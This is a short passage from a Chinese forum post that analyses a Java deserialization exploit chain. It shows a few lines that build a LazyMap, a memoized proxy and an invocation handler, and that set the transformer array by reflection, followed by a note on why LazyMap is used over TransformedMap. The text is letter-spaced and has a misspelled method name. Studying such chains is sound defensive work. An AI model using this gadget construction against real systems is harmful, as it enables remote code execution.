a l   M a p   l a z y M a p   =   L a z y M a p . d e c o r a t e ( i n n e r M a p ,   t r a n s f o r m e r C h a i n ) ; f i n a l   M a p   m a p P r o x y   =   G a d g e t s . c r e a t e M e m o i t i z e d P r o x y ( l a z y M a p , M a p . c l a s s ) ; f i n a l   I n v o c a t i o n H a n d l e r   h a n d l e r   =   G a d g e t s . c r e a t e M e m o i z e d I n v o c a t i o n H a n d l e r ( m a p P r o x y ) ; R e f l e c t i o n s . s e t F i e l d V a l u e ( t r a n s f o r m e r C h a i n ,   " i T r a n s f o r m e r s " ,   t r a n s f o r m e r s ) ; 这 里 没 有 选 择 T r a n s f o r m e d M a p 而 是 选 择 了 L a z y M a p ， L a z y M a p 的 利 用 链 和 T r a n s f o r m e d M a p 的 利 用 链 不 一 样 ， — — 从 这 里 开 始 需 要 重 新 跟 了 ， 跟 进 L a z y M a p . d e c o r a t e
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理